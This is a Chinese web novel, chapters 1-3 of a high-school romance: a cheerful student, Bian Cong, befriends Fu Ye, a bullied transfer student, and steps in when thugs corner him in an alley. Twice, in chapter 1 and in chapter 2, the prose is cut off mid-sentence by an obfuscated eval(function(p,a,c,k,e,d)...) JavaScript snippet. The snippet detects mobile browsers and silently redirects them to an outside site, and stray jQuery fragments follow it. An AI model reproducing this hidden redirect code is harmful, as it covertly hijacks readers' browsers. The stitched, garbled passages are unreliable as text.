《阴湿男爆改二次元甜弟》 1. 第 1 章 金属锁扣“咔哒”咬合的瞬间,边淙后颈的汗珠恰好滑进T恤领口。 “这个课都是谁在补!” 边淙锁好自行车,皱着眉头吐槽了一句。 帆布书包从肩头扯落的刹那,后背传来一股让人不适的黏腻感——被书包整个捂住的地方在这短短的时间里已经整个汗湿了,T恤黏在脊背上的触感异常清晰。 他略有些烦躁地甩了甩书包带,帆布包的调节带在地上打着旋儿,沾上一圈灰尘,另一只手揪着衣摆不停扇动,扯开了黏在背上的T恤,但扇进去的风也是热的。 这本该是在空调房里吃着冰西瓜看漫画的八月。 但现实是他只能在这个连清晨刮得都是热风的早晨来学校补课。 并且在正式开始补课的今天之前,他已经度过了摸底考试的两天。 这样的鬼日子,他已经度过了足足两天!! 边淙生不如死地叹了口气。 站在有顶的车棚里望着阳光普照,没有丝毫阴影的大地上,边淙已经开始感觉到了晕眩感。 三秒钟后,他义无反顾地踩进了热浪里。 榆城二中的高三是单独的一栋楼,它远离高一高二的那一栋楼,远离操场篮球场,远离美术室音乐室,它甚至远离自行车棚。 这也意味着,边淙起码还要在这该死的烈日下走上一段时间。 教学楼下宣传栏旁十分反常地聚起了一堆人,你一言我一语甚至压过了吱吱作响的蝉鸣声。 “我草,这是真的假的啊?” “这人几班的啊,确定是我们学校的吗?” “这么劲爆??我还以为这种东西只会出现在什么贵族私立学校里呢!” 边淙疑惑地扭了个头看过去,却只能看到一颗又一颗黑黢黢的脑袋。 什么东西啊? 这个宣传栏不是一直都是放的什么优秀教师照片啊优秀学生语录之类的东西吗? 难道说过了个暑假,宣传栏的内容也跟着进化了? “咩啊?” 边淙疑惑,边淙站在太阳下疑惑。 太阳圈出一片毒圈,边淙不想疑惑了,边淙只想赶紧远离毒圈。 他转了个身,背对着围在宣传栏边的人群,快步走进了教学楼里。 上到二楼,边淙推门走进了教室,教室里前后两台空调都被打开了,十六度的冷气甚至能看到雾气。 “活过来了——”边淙感叹了一声,拎着书包走到了自己的座位旁。 他将书包放在桌上,拉开拉链,从里面掏出来了一件干净的T恤。 蹲下身整个人缩在课桌底下,边淙扯掉了自己汗湿的衣服并用这件衣服胡乱擦了擦自己的背后,将那件干净T恤套在了身上。 这下是彻底活过来了。 边淙攥着换下来的T恤,将它揉成一团塞进从书包里扯出来的皱巴巴的塑料袋里,打了个结后扔进了抽屉里。 这会儿班上几乎已经坐满了,有一小部分人一进门直接趴在桌上倒头就睡,剩下的大部分的人凑在一圈叽里呱啦聊着天儿,你一言我一语的。 从“哇你今天居然穿裙子老班看到一定会逼逼”到“你说老师改卷有那么快吗今天不会就出成绩了吧”再到“诶今天学校宣传栏那个事儿你们看到了吗”。 然后变成了疑似心照不宣的,古怪的眼神对视。 “到底是什么东西啊?”好奇宝宝边淙实在是忍不住了,他冲着人群喊了一声,“我刚来的时候看到一群人围在那儿,干嘛啊,要根据摸底考成绩重新分班,宣传栏贴了分班表?” 正在谈天说地的一群人听到动静回头看向他。 “哇边淙你不要说这么恐怖的事情好不好,这么短的暑假,玩儿都不够那儿有心学习啊,我考试的时候都在质疑我是个叉烧!” “不是不是啊!” “你居然没看到,惊天大瓜啊!!” “咩啊?”一群谜语人你一言我一语后,边淙更是一头雾水。 他的同桌陶阳焱看见他这迷茫的样子,索性从人群里将自己抽了出来,一个转身拉开椅子坐在了边淙的旁边:“你不是吧贴了那么满满一栏的大字报,你不会告诉我你没看到吧?!那么——” 话音未落,敲门的声音响了起来。 他们的班主任赵勇德眼神凌厉地站在了门口。 “一大早到班上不知道自习吗,都吵什么吵?摸底考试都考什么什么样自己心里没数吗?你们已经高三了,还有十个月你们就要高考了你们知不知道?一点都不为自己的成绩,不为自己的未来担忧吗?” 一连串的语言攻击进行时,班上围成一团的同学们如鸟四散,一个个低着头像鹌鹑一样坐回自己的位置上一声不吭。 “现在开始早读。”他说,“把趴桌上都给我叫起来!” 鹌鹑们一个个站起了身,翻出了语文书或者英语书开始闷头早读。 班主任在门口旁听了一会儿并不算太朗朗的读书声后,甩了一把并不存在的袖子走回了办公室。 “老班今天吃枪..子儿了啊?一来就火气这么大?”陶阳焱用书捂着嘴,整个人歪向边淙小声开口。 “不知道啊。”边淙也捧着书捂着脑袋摇头。 “是不是咱们班摸底考成绩太差啊?这不是正常的吗,谁暑假还学习啊?”陶阳焱又说。 边淙没说话了。 因为他是真的在暑假里被盯着学习了,他是群众里的叛徒。 下课铃响的一瞬间,全班人动作十分整齐划一地坐了下来。 下早读到第一节课的时间是用来吃早饭的,这是他们班从高一开始就心照不宣的事情。 早读之前聊得很带劲的那些人这会儿也都没有再接着聊天儿,全都从自己的书包里掏出了早饭。 边淙拉开自己的书包,从里面掏出来了两盒牛奶和一个三明治。 他猫着腰低着头着三明治,突然想起来陶阳焱还没告诉他今天到底发生了什么,一转头—— 陶阳焱站在走廊上眯着眼睛,左手端着一碗带了汤的不知道是什么粉,右手拿着筷子,正在大口嗦粉。 边淙:…… 宁愿晒太阳也要吃味道重的汤粉,好纯粹的中国胃。 他有些无语地咽掉了嘴里的三明治,将塑料膜裹了裹扔进垃圾袋后,又从书包里拿出了第二个三明治开始啃啃啃。 “边淙。” 跟着声音一起的是肩膀被拍的动静,他转过头,看着身后穿着连衣裙,手上拿着一本书的唐筱晴。 边淙艰难地咽下没嚼两下的三明治,并且不出意外地哽一下:“……怎么了?” “暑假的时候你说想找我借的那个短篇集,我给你带来了。”唐筱晴晃了晃手中的书。 边淙的视线落在了她手上那本书的封面上,眼睛一亮。 这本短篇集是一个已经退圈了的少女漫漫画家的作品,边淙被种草后想要自己买一本看的时候才发现这本书已经没有了任何购买渠道,就连小黄鱼上都找不到有人出,他这才向唐筱晴借的。 找唐筱晴借书这事儿发生在月初,在假期里,这会儿已经过去了半个月,没想到她还记得。 边淙喜极而泣。 “唐筱晴,你真靠谱!”边淙放下手中的三明治,抽了两张纸擦手后,十分虔诚地低着头摊着双手举过头顶。 “我好不容易买到的,你千万不要……算了你也不会弄坏漫画书。”唐筱晴说,“但你要注意千万不要被老班没收了啊,不然我会哭给你看的!” 边淙:“嗯嗯嗯嗯你放心我只会在下课看的!” 唐筱晴这才将书递给了边淙,留下一句“看完及时还我”后回到了自己的位置上。 边淙点头,三下五除二吃完了剩下的半个三明治后,争分夺秒地打开了漫画书。 ——毕竟现在还没有打上课铃。 - “真是的,高三刚一开学就给我搞这么个麻烦事出来。我带学生这么多年,什么时候碰到过这种事啊?” 付野背着书包站在新学校的教室办公室门口,透过办公室微掩着的门听着里面老师的声音。 他低着头垂着眼看着瓷砖地面上一只爬行的蚂蚁,略有些长了的刘海遮住了眉眼,让人看不清表情。 其实他也没什么表情,只是很平淡地接受着不认识的人的议论,以及自己是麻烦的这个事实。 “11班的新同学吗?”身后传来了声音。 付野下意识回过头,抬眼看了眼前的人一眼后又很快地垂下了眼。 他紧了紧手中的书包背带,很平淡地“嗯”了一声。 “赵老师在办公室,我带你进去。” 这位个子很高的老师说完,曲起手指敲了两声门后,推开了办公室的门。 付野看着他的背影,向前迈了一步,而后,脚尖轻碾。 他听见了脚下传来极轻的碎裂声。 跟着人向前再迈了一步,垂下眼,蚂蚁残骸被灼灼的夏风卷着贴上墙根,漆黑的一小点,不过一粒微不足道的尘埃。 “赵老师,你们班的新学生。”许诚询抬高声音朝着赵勇德喊了一声,说完,他看向了身旁这个一直低着头的瘦弱男生,“那位是你们赵老师,是你的新班主任。” 付野“嗯”了一声,慢慢走到了离赵勇德差不多一米多的位置,停了下来。 “付野是吧?”赵勇德走向他。 付野微微低着头,细碎的刘海遮盖下,没人发现他微微蹙起的眉头。 “正常来讲很少有高三转学的,但是你这情况我也大致了解了。”赵勇德拿过他的资料翻动, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207418|165800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纸张划破空气的声音听起来有些刺耳,“我们这边刚结束摸底考,教材还没下发,现在的话……”他抬起手表看了一眼时间,“先跟我一起去器材室搬一套桌椅,然后到班上去吧。” 付野垂下睫毛,跟着班主任穿过梧桐树斑驳的投影,朝着器材室的方向走去。 经过宣传栏时,他听见胶带被暴力撕扯的呲啦声,一张张印着他的照片和刺目字眼的纸被粗暴地扯下来扔进了垃圾桶,有的没扔进去。 一阵风吹过,有轻飘飘的纸张随风翻飞着被吹在他的脚边。 付野恍若没有看见一般,踩在了这张纸上,跟着人继续向器材室走。 落在他脚边的那张纸上他的脸,被他踩上了灰扑扑的脚印。 “往这边走。”赵勇德的声音从前方飘来。 付野松开不知何时攥紧的拳头,掌心的月牙形掐痕正渗出细密血珠。 “是一个男生的照片还有加大加粗大写黑体红色大字,写了些……哎说实话啊看照片我感觉这人长得还挺好看的。”吃完早饭了的陶阳焱斜倚在椅背上,看着边淙,“哇我说真的这么做真的让人社死,蛮缺德的,也不知道是谁干的。” 边淙一心都在手中的漫画上,陶阳焱说的话他左耳朵进右耳朵出,根本没有过脑子。 说起来这个漫画作者真的好厉害啊,短短几个分镜就将女主的性格勾勒了出来。 她低着头站在讲台上,偏长的,遮住眼的头发与背景里的网点纸相融合,融成摄人的蛛网。 阴郁,潮湿,像久不见光的苔藓。 “你有没有在听我说话啊边淙?”陶阳焱看着他这么无动于衷的反应,怒道,“不是你要我跟你讲宣传栏上到底贴了什么的吗?” “啊?”边淙的视线还在漫画上,甚至都没看向他,“我听了啊,你不是说有一个漂亮妹妹的照片贴在了宣传栏上吗,是我们学校出了小偶像吗,是开闭*那种还是缪斯*那种?” 陶阳焱:…… 边淙说的东西到底和他说的东西有什么关系? 还小偶像呢,私斋蒸鹅心! “不是啊!!”陶阳焱长叹了一口气,“是一个——” 话音未落,赵勇德突然出现在了教室门口。 他的身后还跟着一个搬着桌椅的瘦弱的男生。 陶阳焱的话卡在了喉咙里没说出来。 赵勇德走上讲台,他双手撑着讲台的两侧清了清嗓子:“占用大家几分钟课间时间。” 预备铃还没响,边淙依旧左耳进右耳出。 但也不是完全左耳进右耳出,他把漫画放在了自己的腿上,整个人趴在了桌上,装成了一副课间补觉的样子。 纸页摩擦声里,女主始终垂着眼帘,过长的刘海在雪白脸颊投下阴翳,就连一整页特写分镜中,她的眼瞳都是未点睛的漆黑墨团。 从头至尾都没有亮起来过的一双眼就如同女主封闭的心绪。 “这是刚转来我们班上的,你们的新同学。”赵勇德的目光落在了付野的身上,他迟疑了一瞬,还是开了口,“跟大家做个简单的自我介绍吧。” 付野攥住了自己的衣角。 教室里一片僻静,无声的压迫好似在逼着他开口,就和很多次一样。 “我叫付野。”他开了口。 刚念出名字的那一刻,一片哗然。 “我靠!?”陶阳焱猛地推了一把边淙,压低嗓音吼道,“边淙,边淙,这哥们居然是转来我们班的!” “安静!!安静!!!”赵勇德徒手拍得桌子震天响。 陶阳焱的肘击和赵勇德的吼声宛如合体技,从生理和心理两方面给了他双重冲击。 他险些被肘击击倒的同时还打了个激灵。 他一手扶着桌角稳住身形,另一只手慌忙抓住差点儿从他腿缝里滑下去的漫画书。 最后一页彩图在颠簸中展开—— 暴雨初霁,女主仰起的脸庞上,沾着水珠的睫毛终于抬起。 占据了整夜彩插的那双眼瞳特写比他看过的所有漫画角色眼睛都要漂亮。 “付是付出的付,野是——” 付野的声音在这一秒内恍若与漫画第一页女主自我介绍的画面重合。 不等他说完,走廊炸开的满怀恶意的哄笑声盖住了空调嗡嗡与聒噪的蝉鸣声。 “野是野种的野!” 很恶毒的用词。 听见动静的边淙皱起眉,下意识地抬起了头。 他看见站在讲台上的瘦弱男生很轻地颤了一下。 那截纤瘦的脖颈绷得像拉满的弓弦,让边淙想起漫画里阴郁又脆弱不堪的女主。 而他汗湿的微长额发下,狭长卷翘的眼睫阴翳如蝶,那双猛地收缩的琥珀色眼瞳—— 比那页惊艳到他的彩插还要漂亮。 2. 第 2 章 突如其来的躁动声就像扔进平静湖水的一块金属钠,整个楼层都爆发出了哗然的声音。 边淙目睹着讲台上这个有着漂亮眼睛的少年垂下了头,细碎的刘海遮住了那双眼。 就像漫画前期的女主一般,像个物品一般无助地供人观赏。 “你先把桌子搬到后面坐下。”赵勇德皱起眉,走到付野的身边很快地拍了一下他的肩膀。 然后大步流星地走出了教室,掌心一下又一下急促地拍打着教室门,冲着几个男生的背影厉色道:“谁准你们走廊大喊大叫?哪个班的啊?!” 罪魁祸首们却是连头都没有回,高声喊着“野种”“野狗”这种话,一溜烟儿地冲下了楼。 赵勇德差点儿被气出个好歹来,他站在门口连着做了好几个深呼吸后才回到班上关了门栓了锁。 看着一言不发搬着桌子去往最角落位置的付野时,他很轻地叹了口气。 而后在预备铃中指着班上的学生撂下话:“都好好学习,别给我议论这议论那的!” 强调了好几遍后,才踩着铃声和拿着一摞答题卡前来上课的任课老师擦身,走出了教室。 漫画里的第一个小短篇在这样混乱的环境中看完了,边淙合上漫画书放进抽屉。 作为一个有着充分好奇心的十七岁男高,边淙这会儿其实很想回头看一眼坐在教室最后排的新同学。 倒也不是听到的那几声词汇对这个人的身世背景感到好奇,只是他想看一看这个新同学会不会低着头藏起那双好看的眼睛。 但他是一个十分机敏的男高——起码他自己是这么认为的。 在经历过刚刚的事情后,新同学肯定会对他人的视线很抵触。 所以边淙忍住了好奇心没有回头,只是在英语老师的一声令下从书包里掏出了摸底考的试卷。 付野没有答题卡。 他桌上的试卷也是老师发完答题卡后临时拿给他的一份空白试卷。 他没有参与考试,自然也没有答案可以对。 四面八方时不时传过来带着探究的,好奇的眼神,让他无比烦躁却又无法反抗。 他垂下眼看着空白试卷上的题目。 他的背后是放拖把扫把垃圾桶的清洁区,虽然教室里开着空调不至于温度很高有一股馊味,但传入鼻腔的味道也一样不好闻。 但他没有在意,偏过了头望向窗外。 这个学校的高三教学楼真的像一座巨大的监牢,梧桐树投下的影子都像极了铁窗。 视线钻入树影的缝隙里,他看见了楼下的宣传栏。 宣传栏上的那一张又一张大字报被扯了下来,原本干净透亮的玻璃上留下了难以去除的胶带的痕迹。 没关系,反正也习惯了。 他想。 窗外的光斑在摊开的试卷上悄然挪移,夕阳洒在玻璃窗上,将整个教室染成一片粉橘,而后夜幕降落,整个学校里只有这栋楼从窗户里往外透着四四方方的白光。 那些八卦的议论声也在太阳东升西落间渐渐变少。 “好累,上一天课比打一天篮球都累。”陶阳焱伸了个懒腰。 他猛地扭了一下脖子,发出的“咯吱”响声吓了边淙一大跳。 “我天一个暑假没听你发出这死动静,突然听到还真不习惯。”边淙站起身收拾书包。 新发下来的教材啊试卷啊什么的是没有必要带回家的,反正回了家也不会看。 被塞进书包里的只有他早上换下的汗湿的衣服和从唐筱晴那里借来的还有将近三分之一没看的漫画书。 合上书包拉链,他下意识地往后望了一眼。 新同学还趴在桌上,也不知道是晚自习睡着了没醒还是别的。 教室空调温度这么低,后排空调还正好在他头顶,这么睡会感冒的吧? “看啥呢?”陶阳焱顺着他的目光看过去,“怎么了?” 边淙摇了摇头,秉承着和新同学友好相处的想法,他跨过小组走到了新同学的桌边。 曲起手指在他的桌角处敲了两下,新同学缓缓地将自己的脑袋从臂弯里抬了起来。 边淙扬起了笑,左边脸上一个浅浅的酒窝恰到好处:“同学,放学了。” 新同学的视线只在他的脸上停了一瞬,很快他就垂下了眼。 他没有要回答的意思,边淙也没有要离开的意思。 僵持好一会儿后,边淙看到他小幅度地点了下头。 得到了回答后,边淙笑了笑,抬手勾着自己的书包带掂了一下,转身回到了陶阳焱的身边。 “早点回去啊,我困死了。”陶阳焱拉了边淙胳膊一把,“陈阳他们还在门口等咱呢,你跟他说什么啊?” “提醒他放学了,晚点关灯锁门了他出不去那不完蛋?”边淙抬手搭上陶阳焱的肩膀,“走了走了,我饿死了我要回家吃宵夜!” 教室门口站了三四个男生,望着出来的边淙和陶阳焱整齐划一地感叹道:“你们两个好慢啊!” “是他慢。”陶阳焱抬手指着边淙,“新同学在教室里睡着了,他跑去提醒人起来回家。” “嗐,走了走了,我是真的快要饿死了。”边淙摆摆手,一手搭着一个人的肩膀,跟朋友们一块儿下楼走向了车棚。 这个年龄的男生依旧弱智。 从教学楼走向车棚的那么一段路里,你拍我一下,我给你一脚,你追我赶打打闹闹,笑闹声连成一片。 进了车棚掏出自行车钥匙解了锁,边淙长腿一跨,蹬上了自行车,用力踩下脚踏后,他猛地回过头看着朋友们:“走咯!谁最后一个出校门谁是乌龟!!” “喂边淙你幼稚不幼稚!!” 其他几个男生也赶忙蹬上车,迎着夜风骑着车。 大家伙儿的家都不在一块儿,每过一个路口就有一个同学说拜拜,等到最后一个路口的时候,只剩下了边淙一个人。 他踩着脚踏哼着歌,骑进小区门口扫了脸进门,将车停到了家楼下。 打开家门的一瞬间,他闻到了好香好香的味道。 “妈妈——”边淙带上家门蹬下脚上的运动鞋,换了拖鞋就往屋里冲,“做了什么好吃的做了什么好吃的?” “你昨天不是说想吃排骨吗?”芮书蕾翘着二郎腿坐在沙发上,“烧了排骨,还蒸了鸡蛋羹,都热着,赶紧吃。” 边淙书包都没放下就冲进了厨房,满满一砂锅的排骨和蒸锅里的鸡蛋羹都还在冒着热气儿。 他一手端着砂锅一手端着鸡蛋羹放在餐桌上,洗了手拿过一个脸盆大的碗盛了半碗饭后,坐下来闷头狂吃。 “你每次下晚自习回家都像饿了八辈子没吃过饭。”芮书蕾看着他这猴急的样子好笑道。 “我正是长个儿的年纪。”边淙头也不抬。 “行你吃吧吃吧,吃完把碗放洗手池里。”芮书蕾站起身,“我洗澡睡觉去了,你也早点休息。” 边淙咬着排骨:“嗯嗯!” 芮书蕾走进阳台收了衣服,刚走进房间时突然想起来件事儿,她又探了个头出来:“你哥哥说他那附近开了一家很好吃的舒芙蕾店,给你送了两个来,在冰箱里。” 边淙点头:“知道了!” 边淙是真的很能吃,风卷残云过后,那一大碗鸡蛋羹已经见了底,啃完的排骨也在骨碟里堆成了一座小山。 打了个嗝儿,边淙将碗盘端进了厨房。 回到房间洗了个澡,他从衣柜里翻出了一件干净的T恤穿上,又翻出来一件干净的T恤塞进书包里后—— 拿出了那本还没看完的漫画书。 漫画真好啊,漫画疗愈众生。 边淙趴在床上一页一页翻着漫画书细细欣赏。 漫画书的最后一个故事是少女漫里很经典且常见的桥段。 无事闲逛的男主碰见被堵在小巷子里欺负的女主,男主从天而降英雄救美,女主芳心暗许。 这种桥段对于边淙这个阅少女漫无数的人来说实在是有些俗套,但这个作者的画风实在是太细腻了,漫画的分镜和角色的心理活动以及用来勾勒心境的意向融合地完美无缺。 以至于将“英雄救美”这么一个俗气故事画得清新脱俗,堪称完美。 合上漫画书闭眼睡觉的那一刻,他暗自发誓,如果有机会—— 一定要收到这本漫画书!高价收也没关系! 第二天早。 边淙拖着疲惫的身躯,顶着两个明显的黑眼圈,起床起得很想死。 他从冰箱里拿了两盒牛奶四个三明治还有他哥哥给他送来的两个舒芙蕾一起塞进书包里,眯着惺忪的睡眼下了楼。 到教室的时候还没到早读时间,他走到座位上时,余光看见了低着头坐在座位上的新同学。 不知道怎么的,一个奇妙的猜测在他的脑海中冒了出来。 他晃了晃脑袋将自己的书包放在椅子上,从包里掏出了借来的漫画书走到唐筱晴的座位旁:“筱晴,书我看完了。” 唐筱晴:“这么快?好不好看!是不是很好看!” “好看啊!!”聊起来漫画边淙眼睛都亮了,“姐妹你真有品!” “你最喜欢哪个故事啊?”唐筱晴坐在椅子上仰着头看他,“我喜欢中间那个花吐症,花吐症就是双向暗恋的最伟大发明!!” “我喜欢第一个和最后一个诶。”边淙说。 “果然,男人都喜欢俗套的英雄救美,搞这一套,无语。”唐筱晴白了他一眼。 边淙:“……哈喽,你好,你有事吗,为什么突然抨击我?” “嘿嘿。”唐筱晴看着他笑道,“因为据我所知你们男人都想英雄救美然后让这个美对你们死心塌地,是不是呀,边小淙?” 边淙无语看她:“不是。我,只喜欢,二次元,妹妹,如果我真的英雄救美了那也是我人性本善。” 唐筱晴挥手鉴定:“死宅型。” 边淙:…… “不跟你贫。”他无语了,“诶对了筱晴,你几点来的班上啊?” “比你早很多,怎么了?” “你来的时候付野就到了吗?”边淙问。 “啊?”唐筱晴愣了一下,然后点了点头,“嗯,我到了的时候他就坐那儿了,来好早啊。” 边淙“唔”了一声。 “你问这个干什么?” “没事儿。”边淙摇摇头,偏过头朝着付野的位置看了一眼。 早晨的阳光从玻璃窗洒进来,他偏着头望着窗外,和煦的阳光给他镀上了一层柔和的金边。 他突然在想,付野昨天晚上是不是根本就没有回家。 边淙看了他一会儿,收回视线,坐回了自己的位置上。 边淙啃完早饭后,第一二节课下课都在端出他哥哥给他买的那两个舒芙蕾美滋滋啃。 这个舒芙蕾是真的很好吃,这种隔夜之后味道不如刚出炉的东西在隔了一夜之后都能很好吃,边淙根本不敢想它如果是当天现做的到底能有多好吃。 也许是因为边淙吃这舒芙蕾的表情实在是太过幸福。 以至于班上的这帮缺德同学们你过来揪一块儿走,我过来掰一块儿走,整整两个大舒芙蕾他最后吃进肚子里的只有不到半个! 是可忍,孰不可忍!! “如果今天中午没太阳我就要自己去这家店买舒芙蕾。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207419|165800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”边淙看了一眼包装袋上的地址,恶狠狠地开口,“买五个,我要吃一下午!我要吃到晚自习!” “……你刚刚的表情我还以为你要说谁吃了你的舒芙蕾你要给谁两巴掌。”陶阳焱好笑道,“不过真的好好吃啊,你要是真的打算去买的话给我带一个,我提前谢谢你。” “我也想要。”唐筱晴好似长了一对儿顺风耳,她坐在前排,十分干脆地回过头,“给我也带一个!谢谢啦!” “那个,我也,嘿嘿,谢谢——” 边淙:“……有没有人管一下啊?请问各位我是代购吗?” “你最好了,啵啵啵!”陶阳焱搂着他的脖子开始恶心他。 “你别别别。”边淙嫌弃地推开他,“中午要是有太阳我就不去了啊,我不要晒太阳。” “嗯嗯嗯嗯,今天一定会阴下来的!” 言出法随一般。 第四节课上到一半的时候,窗外的天果真阴了下来。 吃过中饭的边淙,带着一群好友的使命,毅然决然地踏上了去往舒芙蕾店的征程。 这家店里学校不远,属于不用骑自行车就能走到的地方。 边淙哼着小曲儿,凭借着自己高超的认路能力十分完美地找到了这家舒芙蕾店。 半个小时后,他提了满满一大袋舒芙蕾出来。 别人手中都是小小的精致的纸袋,他是大大的疑似有提手的蛇皮袋。 该说不说,真的很像个代购。 “回去高低要收代购费。”边淙掂了掂手中巨大的纸袋,无语地吐槽。 有一滴水落在脸上,边淮愣了一下,仰起了头。 灰色的云看着很低很低,整个天空都阴沉沉的,看起来要—— 哗!!!! 豆大的雨水毫无征兆地从天上砸下来,边淙站在雨中懵了一下,反应过来后立马冲向了抄近路回学校的小巷子。 巷子不算很逼仄,但也只能供最多三个人并排同行,这儿曾经是学校里的不良少年打架抽烟勒索学生的地方,后来被装了监控后就…… 不是,怎么还真有人在这里欺负人啊? 瘦弱的少年撑着一柄黑色的伞站在雨中,他的身边围了好几个眯着眼咬着烟的人。 这烟都被雨淋湿了还叼着呢…… 边淙腹诽。 这些人嘴里说着污脏的词汇,上手推搡着撑着伞的少年,少年垂着眼撑着伞,丝毫不反抗。 莫名的,边淙突然感觉眼前的场景和昨晚看到的那篇漫画重合了一般。 无人的小巷,被欺凌的瘦弱无助的少……少年,而他,就是那偶然经过的人性本善的男主! 被推搡的人一个踉跄,边淮透过伞面上凝成帘的水珠看见了伞中人的侧脸。 边淙皱了一下眉,打在他脸上的雨水顺着他皱起的眉,滑落在他的眼睫上,聚成一颗,“啪嗒”一声砸在手背上。 “喂——”边淙提着舒芙蕾朝着那群人喊了一声。 “谁啊?”一个头发掉色掉成枯草色的男的皱着眉看向他,“没看见这儿在干正事儿吗?滚啊!” 边淙“额”了一声,他将舒芙蕾换了个手提着,走到付野的身边,毫不犹豫地钻进了付野的伞里面,然后抬起空着的那只手。 这几个人见着边淙抬手的动作,一个个也都抬起了手,摆出了拳击的架势。 “你先冷静,那里,你往那儿看。”边淙可没有动手的意思,“看到了吗?” “哈?”那几个人被边淙这不寻常的举动整愣了。 “监控啊各位,知道什么是监控吗?学校附近的监控都很高清的。”边淙笑意盈盈地开口,“在这里围堵未成年,对未成年动手是要进去的哦。”他特意把后果说得十分严重。 几个叼着烟的男人你看我一眼我看你一眼,“操”了一声,反身离开了。 “你没事儿吧?”边淙看向付野,“他们人多,你撞见他们的那一刻就该跑的啊。” 付野敛着眸,看着边淙的手和他手中那个满是雨点的巨大的纸袋。 “你对我有印象吗?咱俩一个班的。”边淙说,“这些人是第一次堵你吗?你没事儿吧?” 付野依旧没有说话,只是更用力握住了伞柄,指节泛起青白。 一阵风吹过,被吹碎的雨丝飘进伞里,冰凉细碎的雨轻拂过脸颊。 “你每次都一个人吗?这种小巷子虽然有监控但是一个人最好还是不要走啊。”边淙咧起嘴角,扬起一个人畜无害的笑容温生道,“如果你不介意的话下次跟我们一块儿行动吧,大家都一个班的,人多力量大嘛,那些人想要欺负你也没关系,以后我罩着你啊!” “你想要什么?” 这是边淙第一次听付野说话。 上一次他站在讲台上自我介绍的时候边淙正在专心看漫画,根本没有去听。 他的声音很轻,喉咙里闷出来的是清澈干净的嗓音。 “……我想和你一起回教室,我不想淋雨。”边淙瘪了瘪嘴。 天知道他有多讨厌穿湿衣服在身上。 付野站在原地,好一会儿后,他点头应了声好。 边淙猛地松了一口气:“那我们——” 话音未落,冰凉的手极快地碰了一下他的掌心,这把伞的伞柄被塞进了他的手里。 边淙还没反应过来,付野转身迈向了瓢泼大雨中。 “诶?诶???”边淙握着伞,整个人迷茫又不解。 他一手拎着舒芙蕾一手撑着伞,刚想要冲到付野身边时—— 他看见付野抬头看了一眼头顶上的监控摄像头。 而后转身,身影消失在了雨雾中。 3. 第 3 章 边淙的哥哥边淮顶着惺忪的睡眼拉开房门时,看见了提着一大袋舒芙蕾的边淙。 “你兼职做外卖员了?”边淮疑惑地看着他,“我这也没点外卖啊。” “我没有。”边淙无语地瞥了他一眼,侧过身挤了进去。 他把那一大袋舒芙蕾放在玄关处,打开鞋柜翻出了自己的拖鞋换上,蹬蹬蹬走到沙发前坐了下来。 “哥哥,救我——”边淙仰起头看向他。 兴许是他发出的动静有些大,卧室里穿着睡衣淙淙的,他的哥夫兼同班数学老师许诚询也出了房门,坐到了他的身边:“淙淙?你怎么这个时候过来了?” 边淙组织了一下语言,把今天发生的这些事儿简单叙述了一遍。 “他走的时候还看了一眼摄像头是不是在暗示我啊,他不会觉得我是去抢他伞的吧?我没有这个意思啊,我就是想蹭个伞回教室啊,他怎么就把伞给我后自己淋雨走了呢,我不会在他的眼里变成了校园暴力的一份子吧,我没有啊,我这么团结友爱和谐友好的五好男高——”边淙这张嘴哔哔叭叭的,他说得很急,语速又快,一口气说完后猛地吸了一口气以保证呼吸顺畅。 “真怕你一口气喘不上来死我家了。”边淮起身走进厨房倒了一杯水递给他,“所以你来这儿是要干什么,找许老师吗?” “应该不会是你想的那样,可能就是不知道怎么正确面对人际关系。”许诚询说。 “这样啊……”边淙慢慢点了点头,“对了,我还想要一把伞,然后拿两件衣服,我自己衣服也湿了穿身上不舒服,而且他就那么回去那他衣服肯定也湿了,我拿了他的伞害他淋雨了我总不能什么都不管吧。” 从学校回家需要骑自行车,但从学校到边淮家只要走不到十分钟。 反正他哥哥家的客房里也有他的衣服,舍近求远的事儿他才不会干。 “行,你去拿衣服吧,一直要坐在教室里你最好是再带一件薄外套,我去给你找一把伞。”许诚询站起身说,“你今天说的这个新同学在校外被围堵的事儿我会跟你们班主任说,让他多留意一下这些情况。” 边淙“嗯嗯嗯嗯”了好几声,起身走进了客房。 他来边淮这里住的次数其实并不是很多,一般是碰到刮风下雨下冰雹这种晚上放学回家可能会不安全的情况,才会被许老师接回来住一两天。 所以他一年四季的衣服在边淮家里都有。 打开衣柜随手抽了一件黑色印着白色线条小狗的衣服套上后,又抽了一件白色T恤和一条黑色运动裤叠好放进纸袋里。 至于外套…… 谁要在八月份穿外套啊!! 但许老师都说这话了,他还是带着吧。 翻翻找找又扯了一件白色的外套塞进纸袋,而后拎着袋子走出了房间。 客厅里,许诚询的手里是一把折叠伞和一个小袋子。 “袋子里是姜茶和感冒灵。你们班每次空调温度都打很低说了好几次也不改,淋了雨进空调房容易感冒,你自己喝一份,给付野也拿一份。” 边淙从他的手中接过雨伞和纸袋,对他道了个谢。 许老师,一款可靠又贴心的哥夫。 偏过头—— 他亲哥边淮已经坐在餐桌旁吃上了舒芙蕾。 目测是从他那个巨大的舒芙蕾袋子里偷了一个出来。 边淮,一款不可靠又不贴心的哥哥。 边淙气急:“哥哥!!!” 这可是他跑到舒芙蕾店里等了半个小时还经历了突发暴雨与英雄救美且美跑掉了的混乱中午买到的,舒芙蕾! 